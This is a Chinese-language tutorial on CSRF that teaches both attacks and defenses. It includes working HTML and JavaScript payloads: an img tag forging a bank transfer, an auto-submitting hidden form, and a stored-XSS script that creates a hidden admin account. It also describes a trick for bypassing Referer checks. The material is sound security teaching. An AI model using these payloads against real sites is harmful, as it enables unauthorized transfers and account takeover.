文章目录
OWASP TOP 10
CSRF漏洞
一、概述
1. 什么是CSRF?
跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制(强制)用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。借助社工的一些帮助(例如通过电子邮件或聊天发送链接)攻击者可以诱骗用户执行攻击者选择的操作。
如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行状态更改的请求,例如转移资金,更改其电子邮件地址等。如果受害者是管理帐户,CSRF可能会危及整个Web应用程序。
2. CSRF和XSS的区别
XSS 利用的是用户对指定网站的信任,盗取cookie;
CSRF 利用的是网站对用户网页浏览器的信任,将自己伪装成受信任的用户请求受信任的网站。
3. CSRF场景复现
3.1 场景一
复现环境
-
一个模拟的银行网站(IP为:192.168.0.100),该模拟银行网站的核心业务就是转账;
-
银行用户tom,lisa,hacker;
-
hacker的服务器(IP为:192.168.0.200)。
正常的业务
首先用户 tom 使用密码123456 登录了银行网站;然后用户 lisa 在另一个浏览器中,使用 lisa / 123456 也登录了银行网站,用户 tom,给 用户 lisa 转账1000,查看 tom 账户的金额,多了1000。
CSRF攻击
我们以 tom 用户的身份,在没有退出银行网站的情况下,访问一个极具诱惑性的网站(hacker搭建的网站:192.168.0.200),当我们点击了里面某些链接后,我们会发现 tom 给 hacker 用户转了1000; 但 tom 用户并没有意愿给hacker用户转账,这个操作完全是非本意的,而且请求在 tom 不知不觉的情况下被发送,说明 tom 用户已经遭受到了CSRF攻击。
hacker网站中的链接
<img src='./1.jpg'><br />
<img src='http://192.168.0.100/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
<!--%E4%BA%A4%E6%98%93:是 交易 的utf-8的url编码-->
3.1 场景二
以bwapp 1 Low为例,在用户登录情况下,利用CRSF漏洞篡改用户密码。
- 实验环境:使用bWAPP靶场,搭建靶场
bwapp下载地址:https://sourceforge.net/projects/bwapp/files/latest/download
。
- 默认用户登录:bee/bug,选择CSRF的第一关Low级别:
- 修改密码为123
-
获取请求url:
http://IP地址/PHP/bWAPP_latest/bWAPP/csrf_1.php?password_new=123&password_conf=123&action=change
;
复制url,将其中的密码篡改为123456:http://IP地址/PHP/bWAPP_latest/bWAPP/csrf_1.php?password_new=123456&password_conf=123456&action=change
。 -
在用户登录情况下,访问篡改过的url:
此时再回到系统并退出登录,使用密码:123,已经不能登录系统了,此时密码已经被篡改为123456。
4. CRSF的关键点和目标
4.1 关键点
CSRF是一种欺骗受害者提交恶意请求的攻击,它继承了受害者的身份和特权,代表受害者执行非本意或恶意的操作。对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie、IP地址、Windows域凭据等。因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。
4.2 目标
CSRF攻击目标是能够更改服务器状态或数据的业务或功能,例如更改受害者的电子邮件地址、密码或购买商品。强制受害者查询数据,对于攻击者来说没什么用,因为无法获得服务器响应。因此,CSRF攻击针对引起状态变化的请求。有时可以将CSRF攻击存储在易受攻击的站点上,这些漏洞被称为"存储的CSRF漏洞"。这可以通过简单地在接受HTML的字段中存储img或iframe标记,或通过更复杂的跨站点脚本攻击来实现。如果攻击可以在站点中存储CSRF攻击,则攻击的严重性会被放大。特别是,受到攻击的可能性增加,因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面。
5. CSRF类别
5.1 GET型
-
利用a标签构造,如
<a href="转账链接">诱惑性链接</a>
; -
使用iframe标签,设置iframe的style=display:none,以此来不显示iframe加载的内容。
<iframe src="链接" style=" display:none"/>
; -
隐蔽利用:上面我们的场景一中是利用
img
标签的src属性,隐蔽发送的get请求; -
可以利用CSS中background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求:
body{
background: #00FF00 url("链接")no-repeat fixed top;
}
5.2 POST型
使用POST方法,攻击者也可以通过构造表单的方式来伪造请求,并用type=hidden属性隐蔽操作。
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.0.200/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
此处可以利用JS来自动提交隐藏的表单,但是页面会跳转到self.php并且显示转账记录。
二、案例:CSRF与XSS结合添加后台账号
攻击者可以通过XSS来触发CSRF攻击。因为,可以利用JS来发送请求。
实验环境:留言板网站
- 在留言板插入下面js代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\'post\',\'http://IP地址+添加用户的网页路径\',false);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(\'act=add&userName=hacker&userPwd1=123456&userPwd2=123456&userSubmit=%e6%b3%a8%e5%86%8c&userid=0\');
</script>
- 当网站管理员登录后台,进行留言管理时刷新页面就会触发XSS代码,以管理员的身份发送一个请求,创建一个后台账户[hacker/123456],而网站后台管理员是没有丝毫察觉的。
三、防御方法
1. 无效的防御
很多防御方式都没有办法解决CSRF的问题。
- 使用秘密cookie
所有cookie, 即使是秘密的cookie,也会随着每个请求被一起提交。无论最终用户是否被欺骗提交请求,都将提交所有身份验证令牌(身份凭据)。 - 仅接受POST请求
可以开发应用程序以仅接受用于执行业务逻辑的POST请求。误解是由于攻击者无法构建恶意链接,因此无法执行CSRF攻击。不幸的是,这种逻辑不正确。有许多方法可以让攻击者欺骗受害者提交伪造的POST请求,例如在隐藏值的攻击者网站中托管的简单表单。此表单可以由JavaScript自动触发,也可以由认为表单会执行其他操作的受害者触发。 - 多步交易
多步交易不足以预防CSRF。只要攻击者可以预测或推断完整的事务的每个步骤,就可以实现CSRF。 - URL重写
这可能被视为一种有用的CSRF预防技术,因为攻击者无法猜测受害者的会话ID。但是,用户的会话ID在URL中公开。所以不建议通过引入另一个安全漏洞来修复一个安全漏洞。 - 使用HTTPS
HTTPS本身无法抵御CSRF。但是,HTTPS应被视为任何预防措施值得信赖的先决条件。
2. 有效的防御
2.1 验证Referer字段
- 原理
根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。
比如上面的银行的转账,是通过用户访问: http://192.168.0.100/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93
页面完成,用户必须先登录并且访问,然后通过点击页面上的按钮来触发转账事件。
当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以192.168.0.100的地址或域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。
- 验证Referer的简单代码
在PHP中使用$_SERVER[‘HTTP REFERER’]获取页面提交请求中的Referer值。
<?php
if(strpos($_SERVER['HTTP REFERER','xx.com') !== false){
判断成功
}else{
判断失败
}
?>
- 示例
<?php
$referer = $_SERVER["HTTP_REFERER"];
if(stripos($referer,"192.168.40.129") !== false){
echo $_SERVER["HTTP_REFERER"];
echo "<br />";
echo "successful!";
}else{
echo $_SERVER["HTTP_REFERER"];
echo "<br />";
echo "error!";
}
?>
结果:
bp抓包修改referer,结果:
- 绕过Referer技巧
如果服务端只判断当前的Referer中是否具有域名,那么直接可以新建文件夹进行绕过。
新建一个以Referer内容为名的文件夹,在它下面进行操作即可。
用上面的示例,我们就可以新建一个名为192.168.40.129的文件夹,然后在它下面进行CSRF就可以成功了。
- bp自动生成csrf的POC
2.2 添加Token验证
- 防御原理
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。
系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token (随机字符串),并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
- 简单token生成方法
<?php
function token_generate(){
// 复杂字符串拼接当前事件生成一个随机字符串
$salt = "ajiwe656*&^gr".date("h:i:s");
// md5加密字符串
$token = md5($salt);
return $token;
}
$token = token_generate();
echo $token;
?>
结果:每次刷新页面就会变化
- 演示使用token防御成功POC
index.php:
<?php
session_start();
function token_generate(){
$salt = "ajiwe656*&^gr".date("h:i:s");
$token = md5($salt);
return $token;
}
$token = token_generate();
# echo $token;
$_SESSION['user_token'] = $token;
?>
<html>
<head>
<meta charset='utf-8'>
<title>CSRF_TOKEN_TEST</title>
</head>
<body>
<h1>CSRF_TOKEN_TEST</h1>
<form action="check_token.php" method="post">
<input type="text" value="表单提交">
<input type="hidden" name="user_token" value="<?php echo $token; ?>">
<input type="submit" name="submit" value="提交">
</body>
</html>
验证token的代码:
<?php
session_start();
$user_token = $_POST["user_token"];
if($_SESSION["user_token"] == $user_token){
echo $_SESSION["user_token"];
echo "<br />";
echo $user_token;
echo "<br />";
echo "your token is right!";
}else{
echo "your token is error!";
}
?>
测试:访问index.php,生成了token,并且通过token验证成功提交。
构造POC代码,提交发现,token错误,提交失败!
3.3 二次验证
二次验证,就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效防御CSRF攻击。
2.4 用户养成良好的习惯
对于普通用户来说,都学习并具备网络安全知识以防御网合攻击是不现实的。但若用户养成良好的上网习惯,则能够很大程度上减少CSRF攻击的危害。
例如,用户上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;及时退出长时间不使用的已登录账户,尤其是系统管理员,应尽量在登出系统的情况下点击未知链接和图片。除此之外,用户还需要在连接互联网的计算机上安装合适的安全防护软件并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。
四、CSRF自动化探测
- CSRFTester
CSRFTester是一款CSRF漏洞的测试工具。
CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修测试的请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
- 工具使用
-
设置浏览器代理: 127.0.0.1:8008;
-
登录Web应用程序,提交表单,在CSRF工具中修改表单内容,查看是否更改,如果更改表面存在CSRF漏洞;
- 生产POC代码。
打开生成的index.html,如果页面显示true,就存在漏洞。